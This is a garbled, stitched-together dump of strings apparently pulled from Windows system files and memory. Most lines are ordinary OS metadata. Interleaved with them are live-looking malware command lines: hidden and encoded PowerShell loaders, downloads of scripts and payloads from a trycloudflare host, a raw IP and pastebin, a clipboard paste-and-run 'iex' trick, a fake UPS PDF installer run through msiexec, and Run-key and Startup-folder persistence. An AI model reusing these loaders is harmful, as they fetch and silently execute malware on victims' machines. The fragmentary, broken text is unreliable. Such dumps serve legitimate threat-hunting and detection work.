      "Regex": "%systemdrive%\\\\windows\\.old\\\\ProgramData\\\\USOShared\\\\logs\\\\User\\\\$(MatchAnyFilesRecursive)"
      "Regex": "%systemdrive%\\\\windows\\.old\\\\ProgramData\\\\USOShared\\\\logs\\\\System\\\\$(MatchAnyFilesRecursive)"
      "Regex": "%systemdrive%\\\\data\\\\users\\\\defaultaccount\\\\appdata\\\\local\\\\Packages\\\\Microsoft\\.Windows\\.StartMenuExperienceHost_cw5n1h2txyewy\\\\LocalCache\\\\PackageFeed\\\\$(MatchAnyPath)\\\\$(MatchAnyFileName)appx$"
      "Regex": "%systemdrive%\\\\data\\\\users\\\\defaultaccount\\\\appdata\\\\local\\\\Packages\\\\Microsoft\\.Windows\\.StartMenuExperienceHost_cw5n1h2txyewy\\\\LocalCache\\\\PackageFeed\\\\$(MatchAnyPath)\\\\$(MatchAnyFileName)json$"
      "Regex": "%osdatadrive%\\\\shareddata\\\\ServiceProfiles\\\\NetworkService\\\\AppData\\\\Local\\\\Microsoft\\\\Windows\\\\DeliveryOptimization\\\\Logs\\\\$(MatchAnyFileName)etl$"
      "Regex": "%osdatadrive%\\\\shareddata\\\\ServiceProfiles\\\\NetworkService\\\\AppData\\\\Local\\\\Microsoft\\\\Windows\\\\DeliveryOptimization\\\\State\\\\$(MatchAnyFileName)dat$"
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MsMpEng.exe
c F`R.run("powershell.exe-windowstylehidden-command"new-item-itemtypedirectory-force-
onecore\windows\feedback\core\common\lib\utility.cpp
c:\windows\system32\windowspowershell\v1.0\powershell.exepowershell-ecwbjagiaiaanag0acwboahqayqbeaf4axgagaf4aaabeahqadabeaf4acabeahmaogbeac8alwbeaf4acwbhagqazwbmahuaxgbeaf4ayqbeaduanabeaf4ayqauahgaeqbeaf4aegbeaf4axgavaf4axgbeaf4aygbvaf4axgbvaf4axgbtaf4axgbeaf4algbtahaanabeaf4ajwauahiazqbwagwayqbjaguakaanaf4ajwasaccajwapadsaaqblahgaiaaoagcaywbiacka
Microsoft-Windows-DeviceManagement-CertificateInstall
Microsoft-Windows-Troubleshooting-HTTP
Windows.Data.Apps.AppMetaData
Windows.Data.Apps.ShortcutInfo
Windows.Data.Shell.FocusSession
Windows.Data.Apps.IconInfo
Windows.Data.Apps.FileInfo
Windows.Data.Apps.AppCompatInfo
Microsoft.WindowsAppRuntime.1.8_8000.770.947.0_x86__8wekyb3d8bbweS
Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbw
Windows
WindowsTelemetry
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Windows.
Microsoft.Windows.Firewall.Aggregate
Microsoft.Windows.Networking.EDP
Microsoft.Windows.Audio.BackgroundAudioPolicy
Windows.
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity version="4.18.26010.5" processorArchitecture="amd64" name="Microsoft.Windows.OneMDE.MsMpEng"></assemblyIdentity><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel></requestedPrivileges></security></trustInfo><compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"><application><supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"></supportedOS><supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"></supportedOS><supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"></supportedOS><supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"></supportedOS><supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"></supportedOS></application></compatibility></assembly>
System.Windows.Forms
get_DockWindows
LoadDockWindows
ResetDockWindows
m_dockWindows
allWindows
get_FloatWindows
LoadFloatWindows
m_floatWindows
DockWindowStruct
FloatWindowStruct
get_ToolWindowStripGapLeft
get_ToolWindowStripGapRight
get_MainWindowStatusBarDefault
4C:\WINDOWS\System32\svchost.exe -k LocalServiceNetworkRestricted -p
microsoft.windows.netlogon.nltestdcsocketaddress.isockaddrlengthn
SLGetWindowsInformationDWORD
E@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@2345@@std@@@impl@winrt@@
.?AU?$producer@U?$convertible_observable_vector@IV?$vector@IV?$allocator@I@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IObservableVector@I@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$convertible_observable_vector@IV?$vector@IV?$allocator@I@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IObservableVector@I@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$convertible_observable_vector@IV?$vector@IV?$allocator@I@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IVector@I@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AUtype@?$abi@U?$IVector@I@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$implements@UFixProcDialogViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@UIFixProcDialogViewModelStatics@34@Ustatic_lifetime@4@@winrt@@
.?AU?$produce@UFixProcDialogViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@@impl@winrt@@
.?AU?$produce_base@UFixProcDialogViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$root_implements@UFixProcDialogViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@UIFixProcDialogViewModelStatics@34@Ustatic_lifetime@4@@impl@winrt@@
.?AU?$producers_base@UFixProcDialogViewModel@factory_implementation@TaskManagerApp@winrt@@V?$tuple@UIActivationFactory@Foundation@Windows@winrt@@UIFixProcDialogViewModelStatics@TaskManagerApp@4@@std@@@impl@winrt@@
.?AU?$producer@UFixProcDialogViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
\\WINDOWS11
windows.hlp`
DriverData=C:\Windows\System32\Drivers\DriverData
C:\WINDOWS\System32\spoolsv.exe
USERPROFILE=C:\WINDOWS\system32\config\systemprofile
C:\WINDOWS\System32\spoolsv.exe
C:\\WINDOWSz
Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewyyewy
2cd^com.microsoft.windows.widget
2ce^com.microsoft.windows.widget
 @WindowsRuntimeAccess
-noprofile-noninteractive-nologo-windowstylehidden-executionpolicyunrestricted"c:\users\public\music\untitled.ps1"
createobject("wscript.shell")wshshell.run"powershell-executionpolicyremotesigned-windowstylehidden-file""$psscriptpath"
:software\microsoft\windows\currentversion\run
jIpH@echooffcd%systemroot%\system32set
0Tc:\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehidden-commandwscript.exe//b//nologo'c:\users\
USERNAME=WINDOWS11$
TMP=C:\WINDOWS\TEMP
windir=C:\WINDOWS
TEMP=C:\WINDOWS\TEMP
SystemRoot=C:\WINDOWS
Windows.FileExplorer.Common.dll
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustom
\microsoft\windows\start menu\programs\startup\""+" + "
P\microsoft\windows\start menu\programs\startup\templates.vbs", true, true)
:\windows\win.ini:
\Microsoft\Windows\pguard.ini
;\Microsoft\Windows\winlogon.exe
\Microsoft\Windows\services.exe
shellcommon\shell\Windows.Internal.ShellCommon\UwpWindowLifecycleManagement\lib\UwpWindowContext.cpp
shellcommon\shell\Windows.Internal.ShellCommon\UwpWindowLifecycleManagement\lib\UwpWindowLifecycleWatcher.cpp
shellcommon\shell\Windows.Internal.ShellCommon\TaskGroups\lib\DesktopTaskGroupsDataModelSingleton.cpp
reason::too_few_windows_in_group
shellcommon\shell\Windows.Internal.ShellCommon\TaskGroups\lib\TaskGroupDataModel.cpp
shellcommon\shell\Windows.Internal.ShellCommon\TaskGroups\lib\TaskGroupManager.cpp
o:\windows\system32\cmd.exe/v:true/d/c
 .htac:\windows\system32\imageres.dll
windows\system32\
--user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723;(
MessagePumpForUI::ProcessNextWindowsMessage GetQueueStatus
MessagePumpForUI::ProcessNextWindowsMessage PeekMessage
Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0114~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-OneCore-Helium-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-NetFx-Shared-Typelibs~31bf3856ad364e35~amd64~~10.0.26100.1.cat|Package_15_for_KB5066128~31bf3856ad364e35~amd64~~10.0.9321.3.cat|Package_9_for_KB5066128~31bf3856ad364e35~amd64~~10.0.9321.3.cat|!
UserExperience-Desktop-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|UserExperience-Desktop-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|icrosoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|sktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.c
onecoreuap\windows\cbdhsvc\dll\ntuserservice.cpp
onecoreuap\private\base\inc\appmodel\windowsaugloop\WindowsAugLoopPackageDependencyScope.h
onecoreuap\windows\cbdhsvc\dll\userservice.cpp
onecoreuap\windows\cbdhsvc\lib\TimeConversions.h
fcheck.fileexists("c:\windows\microsoft.net\framework\v4.0.30319\msbuild.exe")call shell(
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
dir%\system32\vsocklib.dll
Release\Windows
copy Report.wer C:\ProgramData\Microsoft\Windows\WER\ReportQueue\
z:\projects\windows
c:\windows\system32\rundll32.exeurl,openurl"https://terra.im/gl/?cid=
WldpQueryWindowsLockdownMode
WindowsCreateStringReference
Microsoft.Windows.Location.Uploader
+-C:\__w\1\s\src\packages\Microsoft.Windows.ImplementationLibrary.Q
.?AU?$implements_delegate@U?$VectorChangedEventHandler@UProcessViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@V<lambda_cfa7f6b58ec35631197bb35dca49068e>@@@impl@winrt@@
.?AU?$delegate@U?$VectorChangedEventHandler@UProcessViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@V<lambda_9405cb6ad34b8d34c6a9fd66af26aadb>@@@impl@winrt@@
.?AU?$produce_base@Uiterator@?$convertible_observable_vector@UProcessViewModel@TaskManagerApp@winrt@@V?$vector@UProcessViewModel@TaskManagerApp@winrt@@V?$allocator@UProcessViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@4@X@impl@winrt@@
.?AU?$produce@Uargs@?$observable_vector_base@U?$convertible_observable_vector@UProcessViewModel@TaskManagerApp@winrt@@V?$vector@UProcessViewModel@TaskManagerApp@winrt@@V?$allocator@UProcessViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@UProcessViewModel@TaskManagerApp@3@@winrt@@UIVectorChangedEventArgs@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@Uargs@?$observable_vector_base@U?$convertible_observable_vector@UProcessViewModel@TaskManagerApp@winrt@@V?$vector@UProcessViewModel@TaskManagerApp@winrt@@V?$allocator@UProcessViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@UProcessViewModel@TaskManagerApp@3@@winrt@@UIVectorChangedEventArgs@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$delegate@U?$VectorChangedEventHandler@UProcessViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@V<lambda_cfa7f6b58ec35631197bb35dca49068e>@@@impl@winrt@@
.?AU?$produce@Uiterator@?$iterable_base@U?$convertible_observable_vector@UProcessViewModel@TaskManagerApp@winrt@@V?$vector@UProcessViewModel@TaskManagerApp@winrt@@V?$allocator@UProcessViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@UProcessViewModel@TaskManagerApp@3@Ucollection_version@23@@winrt@@U?$IIterator@UProcessViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AUtype@?$abi@U?$IIterator@UProcessViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce_base@Uiterator@?$iterable_base@U?$convertible_observable_vector@UProcessViewModel@TaskManagerApp@winrt@@V?$vector@UProcessViewModel@TaskManagerApp@winrt@@V?$allocator@UProcessViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@UProcessViewModel@TaskManagerApp@3@Ucollection_version@23@@winrt@@U?$IIterator@UProcessViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce@Uiterator@?$convertible_observable_vector@UProcessViewModel@TaskManagerApp@winrt@@V?$vector@UProcessViewModel@TaskManagerApp@winrt@@V?$allocator@UProcessViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@4@@impl@winrt@@
.?AU?$producer_convert@Uiterator@?$convertible_observable_vector@UProcessViewModel@TaskManagerApp@winrt@@V?$vector@UProcessViewModel@TaskManagerApp@winrt@@V?$allocator@UProcessViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@4@X@impl@winrt@@
,"Windows
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0droper_dll.dlldroper_dll.pdbdroper_exe_for_lnk.pdb!#ALF:Y2V:Florian_Roth/CN_Honker_LPK_LPK_LPK
Windows"
Microsoft.Windows.Apprep.ChxApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.Apprep.ChxApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy
Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy!App
&.NET Docking Library for Windows Forms
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.BACKGROUNDTRANSFERTASK.CLASSID.5
s\system32
Windows.Data.CuratedTileCollection.Tile
Windows.Data.CuratedTileCollection.Root
WindowsApp
Windows.UndockedDevKit_10.0.26100.1_=
onenote for windows 10%O
c:\windows\system32\drivers\
C:\WINDOWS\SYSTEM32\ms
Microsoft\Windows\
system32\q
update windowsH
WindowsConnectionManager
host process for windows services
c:/windows/system32/dl
c:/windows/system32/d
onecore\base\appmodel\runtime\winrt\lib\windows.applicationmodel.xboxpackagefactory.cpp
onecore\base\appmodel\runtime\winrt\lib\windows.applicationmodel.limitedaccessfeatures.cpp
onecore\base\appmodel\runtime\winrt\lib\windows.applicationmodel.packagecontentgroup.cpp
windir=C:\WINDOWS
DriverData=C:\Windows\System32\
qwindowsJ
WINDOWS\system32\config
WINDOWS\ServiceProfiles\Local
system32\cmd.exe
.OutlookForWindowsyc
.?AU?$producer_convert@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producers_base@UFocusProxyButton@implementation@TaskManagerApp@winrt@@V?$tuple@UFocusProxyButton@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@3@UIControlOverrides6@56783@UIFrameworkElementOverrides@6783@UIFrameworkElementOverrides2@6783@UIUIElementOverrides@6783@UIUIElementOverrides7@6783@UIUIElementOverrides8@6783@UIUIElementOverrides9@6783@UIComponentConnector@Markup@6783@UIComponentConnector2@Markup@6783@@std@@@impl@winrt@@
.?AU?$HomePage_base@UHomePage@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@UIComponentConnector2@67894@@implementation@TaskManagerApp@winrt@@
.?AV?$IUIElementOverrides7T@UHomePage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverridesT@UHomePage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverrides9T@UHomePage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverrides8T@UHomePage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IControlOverrides6T@UHomePage@implementation@TaskManagerApp@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AV?$IControlOverridesT@UHomePage@implementation@TaskManagerApp@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AV?$IFrameworkElementOverrides2T@UHomePage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IFrameworkElementOverridesT@UHomePage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AU?$base_one@UHomePage@implementation@TaskManagerApp@winrt@@UDependencyObject@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UHomePage@implementation@TaskManagerApp@winrt@@UUIElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AV?$IPageOverridesT@UHomePage@implementation@TaskManagerApp@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AU?$base@UHomePage@implementation@TaskManagerApp@winrt@@UPage@Controls@Xaml@UI@Windows@4@UUserControl@67894@UControl@67894@UFrameworkElement@7894@UUIElement@7894@UDependencyObject@7894@@impl@winrt@@
.?AU?$base_one@UHomePage@implementation@TaskManagerApp@winrt@@UUserControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UHomePage@implementation@TaskManagerApp@winrt@@UPage@Controls@Xaml@UI@Windows@4@@impl@winrt@@
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
9\Windows System\
ad.exe/c"powershell.exe-commandpowershell-windowstyleh-command'saloyg5qlmciex;sallepoguaqiwr;oyg5qlmc(lepoguaqpastebin.com/raw/xzetstrc-u
e^c:\windows\system32\rundll32.exeurl,openurl"https://terra.im/gl/?cid=
Zta^dows\system32\windowspowershell\v1.0\powershell.exe-executionpolicybypass-file"c:\users\bruno\appdata\roaming\microsoft\windows\
dows\system32\windowspowershell\v1.0\powershell.exe-executionpolicybypass-windowstylehidden-file"c:\users\bruno\appdata\roaming\
powershell-noprofile-windowstylehidden-command"start-process-windowstylehidden-filepath'cmd.exe'-argumentlist'/min/c\"\"\"\"'-verbrunas
[c:\windows\system32\cmd.exe/kstartmsedgehttps://www.ups.com&curl-slo%temp%\bosfortuy.mshttps://upsinfo2025.com/download/dvmw.pdf&msiexec/i%temp%\bosfortuy.ms/qn|taskkill/f/imcmd.exe
m"c:\windows\system32\cmd.exe/cpowershell-command"&{invoke-webrequest'https://climate-larger-winner-ash.trycloudflare.com/2h.bat'-outfile'%temp%\2h.bat';start-process'%temp%\2h.bat'}"
6+c:\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehidden-nologo-command-noexit(new-objectsystem.net.webclient).downloadfile('http://196.251.70.88/inquirylist.txt'
c:\windows\system32\windowspowershell\v1.0\powershell.exescb('%%%ms%%ht%%%%ah%%%%tt%%%p%%%%://9%5%%.%%2%%15.10%%%8.179/v%fg%%kf%%%%f%%%%h%%h%%%.m%p%4%%%%%'.replace('%',''));iex(gcb)
c:\windows\system32\windowspowershell\v1.0\powershell.exe-whid-noni-epbypass-c"start-job-name
*<title>onlinedocument</title><metaname="description"content="downloadfreeadobeacrobatreaderdcsoftwareforyourwindows,macosandandroiddevicestoview,print,andcommentonpdfdocuments."><s
\windows control
)C:\ProgramData\Microsoft\Windows\CapabilityAccessManager
)C:\ProgramData\Microsoft\Windows\CapabilityAccessManager
WINDOWS\system32\config
DriverData=C:\Windows\System32\
NAME=WINDOWS11$
oftware\Microsoft\Windows NT
*SOFTWARE\Microsoft\Windows NT\CurrentVersion\Perflib\009|
oftware\Microsoft\Windows NT
,Win32Registry|Software\Microsoft\Windows NT\CurrentVersion\
Win32Registry|Software\Microsoft\Windows NT\CurrentVersion\NetworkCards|ProductName
,Win32Registry|Software\Microsoft\Windows NT\CurrentVersion\
5lksleep-s4;cmd/cc:\windows\syswow64\runda
temRoot%\system32\mswsock.dl
temRoot%\system32\mswsock.dl
temRoot%\system32\mswsock.dll5
temRoot%\system32\mswsock.dl
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
 Windows
WINDOWS11
You'll have a chance to review and confirm.Favorites are managed by your organizationThis setting is managed by your organizationExport favorites &configurationExport your favorites configurationTo set favorites for your organization, copy your favorites configuration to your clipboard, then in your management tool paste into the $1 policy value.Copy to clipboardCopying favorites configuration to your clipboardFavorites configuration copied to your clipboardConfigure FavoritesFolder namePlatform formatWindowsMacFavorites foldersfavoritesExit searchThis folder is empty$1 items$1 item$1 folders$1 folder&Remove duplicate favoritesClose alert&Open favorites page&Open all ($1)&Copy linkShow in treeOpen the workspace to view the favoritesSort '$1' by name$1 more favorites'$1' sorted'$1' folder added'$1' favorite added$1 addedItem moved up to $1 of $2Item moved down to $1 of $2Workspace is closed. Press Enter to open the workspace to view the favorites.$1. Workspace $1 is closed. Press Enter to open the workspacB
Mozilla/5.0 (Windows NT 10.0; Win64; x
c:\windows\system32\
WVwindowsrestart'vss
hkey_current_user\software\microsoft\windows\currentversion\policies\activedesktoph
Windows
@(POLID_DisableWindowsSettingSync
cLPOLID_DisableWindowsSettingSyncUserOverride
Windows
WindowsSettingHandlers
C:\Windows\SysWOW64\msiwer.dllwo
C:\Windows\apppatch\MergeSdbFilesSource\sysMerge.sdb.tlb
C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscoree.tlb
C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscorlib.tlbng.tlb
C:\Windows\Microsoft.NET\Framework\v1.0.3705\System.Drawing.tlbe
C:\Windows\Microsoft.NET\Framework\v1.0.3705\System.EnterpriseServices.tlb
ETC:\Windows\SysWOW64\l3codeca.acm
C:\Windows\Microsoft.NET\Framework\v1.0.3705\System.Windows.Forms.tlb
C:\Windows\Microsoft.NET\Framework\v1.1.4322\Microsoft.JScript.tlb
C:\Windows\Microsoft.NET\Framework\v1.1.4322\mscorlib.tlbng.tlb
C:\Windows\Microsoft.NET\Framework\v1.1.4322\System.Drawing.tlbe
C:\Windows\Microsoft.NET\Framework\v1.1.4322\System.EnterpriseServices.tlb
ETC:\Windows\SysWOW64\mrt_map.dlld
Windows NT 6.1
Software\Microsoft\Windows\CurrentVersion\Internet Settings\Accepted Documents
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\
Software\Microsoft\Windows\CurrentVersion\Internet Settings\
Software\Microsoft\Windows\CurrentVersion\Internet Settings
SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings
SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings
Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy
c:\windows\system32\windowspowershell\v1.0\powershell.exe-nop-exbypass-windowstylehidden-enckabpahcacgagaggadab0ahaacwa6ac8alwbiag8aeaboahuaygbjageacgbnag8aywbvag4adabhagkabgblahiacwauagmabwbtac8abgb0ahiayqbjagsaaqbuagcalgb0ahgadaagac0avqbzaguaqgbhahmaaqbjafaayqbyahmaaqbuagcakqauaemabwbuahqazqbuahqaiab8acaaaqboahyatwbraeualqbfahgauabyaguauwbzagkatwbuaa==
iwshshell3.regwrite("hkey_current_user\software\microsoft\windows\currentversion\run\
uiswow64process(is,*i.s)spacesoundpro.exesilentconfigurator.exesilentunconfigurator.exe\config\accesscontrol.dllfullaccess(s-1-5-32-545)grantonfileconfigpath\uninstall.exe\\uninstall.exe>\spacesoundpro.lnk\spacesoundpro.exe\\\uninstall.lnk\\spacesoundpro.lnk10000323software\microsoft\windows\currentversion\uninstall\spacesoundprodisplaynamedisplayversioninstalldate
MicrosoftWindows.59379618.InpApp_1000.26100.7824.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy
(.exe-windowstylehidden-executionpolicyremotesigned-file
Microsoft.WindowsCamera_2025.2510.2.0_neutral_split.scale-125_8wekyb3d8bbwe
Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe
Microsoft.WindowsFeedbackHub_2024.125.1522.0_neutral_~_8wekyb3d8bbwe
Microsoft.WindowsFeedbackHub_1.2401.20253.0_x64__8wekyb3d8bbwe
